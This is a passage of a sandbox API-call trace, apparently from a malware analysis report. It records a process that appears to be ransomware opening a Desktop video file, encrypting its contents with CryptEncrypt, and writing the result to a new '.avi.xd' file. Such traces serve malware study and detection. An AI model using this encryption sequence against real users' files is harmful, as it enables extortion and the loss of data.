wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.589] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.589] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.589] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.589] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\xt7ves-s81.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0078.590] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.590] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0078.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.590] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0078.591] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\xt7ves-s81.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0078.591] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.591] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.591] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.591] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.593] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0078.593] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x9526, lpOverlapped=0x0) returned 1 [0078.594] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0078.596] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.596] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.596] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.597] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0078.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.597] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0078.597] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.597] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0078.597] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.597] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.597] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.597] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0078.597] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0078.597] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0078.598] CryptGetKeyParam (in: hKey=0x164ca30, dwParam=0x7, pbData=0x16294c0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294c0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0078.598] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.598] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.598] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.598] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.598] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.598] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.598] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.599] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.599] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.599] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x9526, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x9530) returned 1 [0078.599] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.599] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.599] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.599] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.599] CharLowerBuffW (in: lpsz="byte[38193]", cchLength=0xb | out: lpsz="byte[38193]") returned 0xb [0078.599] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.600] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.600] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.600] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.600] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.600] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17f3580*, pdwDataLen=0x130e618*=0x9526, dwBufLen=0x9530 | out: pbData=0x17f3580*, pdwDataLen=0x130e618*=0x9530) returned 1 [0078.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.603] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.603] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.603] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.603] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.603] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.603] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.605] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.605] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.605] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.605] WriteFile (in: hFile=0x3c8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x9530, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x9530, lpOverlapped=0x0) returned 1 [0078.606] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.606] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.606] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0078.606] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.606] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.606] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0078.606] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16212b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0078.606] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0078.606] CryptDestroyKey (hKey=0x164ca30) returned 1 [0078.606] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.606] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.606] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.606] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.606] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.607] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.607] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.607] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.607] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.607] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0078.607] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.607] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.607] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.607] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.609] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.609] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.609] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.609] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.609] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.609] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.609] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.609] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.609] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.609] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.609] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.609] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.610] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.610] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.610] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0078.610] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0078.610] CryptReleaseContext (hProv=0x1631d48, dwFlags=0x0) returned 1 [0078.610] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.610] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.610] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.610] FreeLibrary (hLibModule=0x74c60000) returned 1 [0078.610] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.610] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.610] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.610] CloseHandle (hObject=0x3d8) returned 1 